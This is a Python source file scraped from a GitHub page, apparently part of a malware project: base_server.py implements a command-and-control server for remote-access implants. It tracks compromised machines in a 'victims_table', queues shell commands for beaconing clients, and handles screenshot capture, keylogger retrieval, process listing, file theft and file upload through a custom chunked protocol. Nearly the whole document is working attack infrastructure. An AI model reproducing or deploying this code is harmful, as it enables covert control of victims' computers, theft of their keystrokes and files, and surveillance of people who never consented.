-
Notifications
You must be signed in to change notification settings - Fork 1
/
base_server.py
358 lines (281 loc) · 11.8 KB
/
base_server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
from abc import abstractmethod
from http.server import BaseHTTPRequestHandler
from setting import *
from ddp import DDP, TYPE_CODE, DDPParseError, ERROR_CODE
from mixin import SEQFileMixin , SEQNumError, SEQSaveError
from datetime import datetime
import logging
import os
logger = logging.getLogger(LOGGER_NAME)
class DDPSeqHandlerMixin(SEQFileMixin):
def _seq_handler(self) -> bool:
try:
data = self.body['data']
if len(data) > SEQ_SIZE:
return self._response_error(ERROR_CODE.INVALID_HEADER_ERROR)
seq_name = ""
is_ftp = True if self.body['type'] == 'FTP_RESPONSE' else False
# 마지막 시퀀스 데이터일시
if self.body['sequence'] == 0xffffffff:
if not self._gather_seq_file(self.body['sequence'], data, is_ftp):
self._response_error(ERROR_CODE.SEQ_ERROR)
return True
seq_name = self.victims_table[self.client_ip]['seq_name']
if not self._merge_seq_files(seq_name):
self._response_error(ERROR_CODE.SEQ_ERROR)
return True
return False
# 시퀀스 처리
else:
if not self._gather_seq_file(self.body['sequence'], data, is_ftp):
self._response_error(ERROR_CODE.SEQ_ERROR)
return True
self._response_ack()
return True
except ConnectionResetError as e:
self._delete_tmp_files(seq_name)
logger.error('{0} : Connection Error during file sending : {1}'.format(self.client_ip, e))
def _gather_seq_file(self, seq_num : int, data : bytes, is_ftp : bool):
client_ip = self.client_ip
if not is_ftp and seq_num == 1:
self.victims_table[client_ip]['seq_name'] = str(client_ip) + datetime.now().strftime('_%Y%m%d-%H%M%S.seq')
seq_name = ""
try:
seq_name = self.victims_table[client_ip]['seq_name']
#만약 시퀀스 명이 fullpath이면 \ 를 제거
if '\\' in seq_name:
seq_name = seq_name.split('\\')[-1]
self._save_seq_file(seq_name, seq_num, data)
except SEQNumError as seq_e:
logger.error('seq gather error : {}'.format(str(seq_e)))
return False
except Exception as e:
logger.error('seq gather error : {}'.format(str(e)))
return False
if not seq_name:
logger.error('seq name is not exist in queue..!')
return False
logger.info('{} seq datas in'.format(seq_num))
return True
class DDPRequestHandlerMixin:
def _handler_error(self, data):
# TODO error handling
try:
data = int(data)
except:
return self._response_error(ERROR_CODE.INVALID_HEADER_ERROR)
# 파일 전송 도중 오류가 발생한다면 생성한 파일들 삭제
if data == ERROR_CODE.SENDING_FILE_ERROR.value and self.victims_table[self.client_ip]['seq_name']:
seq_name = self.victims_table[self.client_ip]['seq_name']
if os.path.isfile(FILE_PATH+seq_name):
os.remove(FILE_PATH+seq_name)
self._delete_tmp_files(seq_name)
self.victims_table[self.client_ip]['seq_name'] = ""
logger.info("{0} : {1}".format(self.client_ip, ERROR_CODE.SENDING_FILE_ERROR.name))
self._response_ack()
def _handler_beacon_request(self, data):
data = self._pop_command()
if data:
client_ip = self.client_ip
if data.startswith('[') and data.endswith(']'):
# screenshot 명령어 처리
if data == "[screenshot]":
self._response_ftp_request("screenshot", datetime.now().strftime('%Y%m%d-%H%M%S.bmp'))
return
elif data == "[keylog]":
self._response_ftp_request("keylog", "{}_{}_keylog.txt".format(client_ip, datetime.now().strftime('%Y%m%d-%H%M%S')))
return
elif data == "[proc]":
self._response_shell_request("proc")
return
# gf 명령어 처리
elif data.startswith('[get file'):
file_name = data.split(' ')
if len(file_name) == 4:
self._response_ftp_request(file_name[len(file_name)-2], file_name[len(file_name)-1][:-1])
else:
self._response_ftp_request(file_name[len(file_name)-1][:-1], file_name[len(file_name)-1][:-1])
return
elif data.startswith('[send file'):
file_name = data.split(' ')
self._response_shell_request(" ".join(file_name[1:])[:-1])
# shell 명령어 처리
else:
self._response_shell_request(data)
return
# 명령어가 존재하지 않으면 ack response
else:
self._response_ack()
def _handler_shell_response(self, data):
try:
result = data.decode(ENCODING)
except UnicodeDecodeError as e:
try:
result = data.decode(SUB_ENCODING)
except Exception as e:
logger.error('receive shell response error : decode result({}) result fail : {}'.format(data, str(e)))
self._response_error(ERROR_CODE.DATA_DECODING_ERROR)
return
except Exception as e:
logger.error('receive shell response error : unknown error : ' + str(e))
self._response_error(ERROR_CODE.UNKNOWN_ERROR)
return
command = result.split('\n', 1)[0]
contents = result.split('\n', 1)[1]
print()
print("=='{}' command result==\n{}".format(command, contents))
logger.info("sh result : '{}'".format(result))
self._response_ack()
def _handler_ftp_request(self, data):
sending_file = self.victims_table[self.client_ip]['sending_file']
if sending_file == "":
self._response_ddp_error('there is no file to send')
return;
try:
seq, data = self._get_sending_seq_data(self.client_ip + '_' + sending_file)
if seq == "0" or seq == str(0xffffffff):
self.victims_table[self.client_ip]['sending_file'] = ""
self._response_ftp_response(data, int(seq))
except Exception as e:
logger.error('load sending file error {}'.format(str(e)))
self._delete_tmp_files(self.client_ip + '_' + sending_file)
def _handler_ftp_response(self, data):
client_ip = self.client_ip
file_name = ""
try:
file_name = self.victims_table[client_ip]['seq_name']
self.victims_table[client_ip]['seq_name'] = ""
#만약 파일명이 fullpath이면 \ 를 제거
if '\\' in file_name:
file_name = file_name.split('\\')[-1]
if not os.path.isfile(FILE_PATH+file_name):
raise SEQSaveError('SEQSaveError : file not found')
logger.info('{} file saved'.format(file_name))
self._response_ack()
except Exception as e:
self._response_error(ERROR_CODE.FILE_ERROR)
if not file_name:
logger.error('{0} seq name queue is empty!'.format(client_ip))
return
logger.error('{0} seq save error : {1}'.format(file_name, str(e)))
class DDPResponseHandlerMixin:
def _response_error(self, error_code : ERROR_CODE):
# p_type, seq, data=b''
data = {
'p_type' : TYPE_CODE.ERROR.value,
'seq' : 0,
'data' : error_code.value.to_bytes(1, byteorder='little')
}
self._response_writer(data)
# ack 응답
def _response_ack(self):
data = {
'p_type' : TYPE_CODE.ACK.value,
'seq' : 0,
'data' : b''
}
self._response_writer(data, logging=False)
# shell request 응답
def _response_shell_request(self, command, seq=0):
data = {
'p_type' : TYPE_CODE.SHELL_REQUEST.value,
'seq' : seq,
'data' : command.encode(ENCODING)
}
self._response_writer(data)
# ftp request 응답
def _response_ftp_request(self, data, file_name):
data = {
'p_type' : TYPE_CODE.FTP_REQUEST.value,
'seq' : 0,
'data' : data.encode(ENCODING)
}
self.victims_table[self.client_ip]['seq_name'] = file_name
self._response_writer(data)
def _response_ftp_response(self, data, seq):
data = {
'p_type' : TYPE_CODE.FTP_RESPONSE.value,
'seq' : seq,
'data' : data
}
self._response_writer(data, logging=False)
class CNCBaseServer(BaseHTTPRequestHandler, DDPSeqHandlerMixin, DDPResponseHandlerMixin, DDPRequestHandlerMixin):
"""
override functions
"""
# 요청 파싱 시 ddp파싱 결과와 client ip를 얻어옴
def parse_request(self) -> bool:
super().parse_request()
self.client_ip = self.address_string()
self.body = self.rfile.read(int(self.headers['Content-Length']))
if self.command == 'POST':
try:
self.body = DDP.parse(self.body)
except DDPParseError as e:
logger.error("{0} : {1}".format(self.client_ip, e))
return True
def log_request(self, code='-', size='-') -> None:
# format - [ip] : [method] [status] / [body]
if self.body['type'] == 'BEACON_REQUEST':
return
elif self.body['type'] == 'FTP_RESPONSE':
self.log_message(
'%s : %s %s / %s',
self.client_ip,
self.command,
code,
'FILE DATA'
)
return
self.log_message(
'%s : %s %s / %s',
self.client_ip,
self.command,
code,
self.body
)
def log_message(self, format: str, *args) -> None:
#log_path_update()
logger.info(format % args)
"""
custom functions
"""
# get 요청 처리
@abstractmethod
def do_GET(self):
pass
# post 요청 처리
@abstractmethod
def do_POST(self):
pass
# 응답에 필요한 필수 헤더와 status code 설정 후 응답 전송
def _response_writer(self, data : dict, content_type='text/plain', additional_header={}, logging=True):
response_data = DDP.raw(**data)
self.send_response(200)
self.send_header('Content-Type', '{0}; charset={1}'.format(content_type, ENCODING))
if len(additional_header) > 0:
for key, val in additional_header.items():
self.send_header(key, val)
self.end_headers()
self.wfile.write(response_data)
if logging:
try:
logger.info('response / {}'.format(data))
except:
logger.info('response unknown data')
def _pop_command(self):
command = ""
command_queue = self.victims_table[self.client_ip]['command']
while command_queue:
element = command_queue[0]
if element.startswith('[') and element.endswith(']'):
if command == "":
return command_queue.popleft()
else:
break
if len(command + element) > SEQ_SIZE:
break
element = command_queue.popleft()
# victim_table[self.client_ip]['shQueue'].append(element)
command += element + ";"
return command[:-1]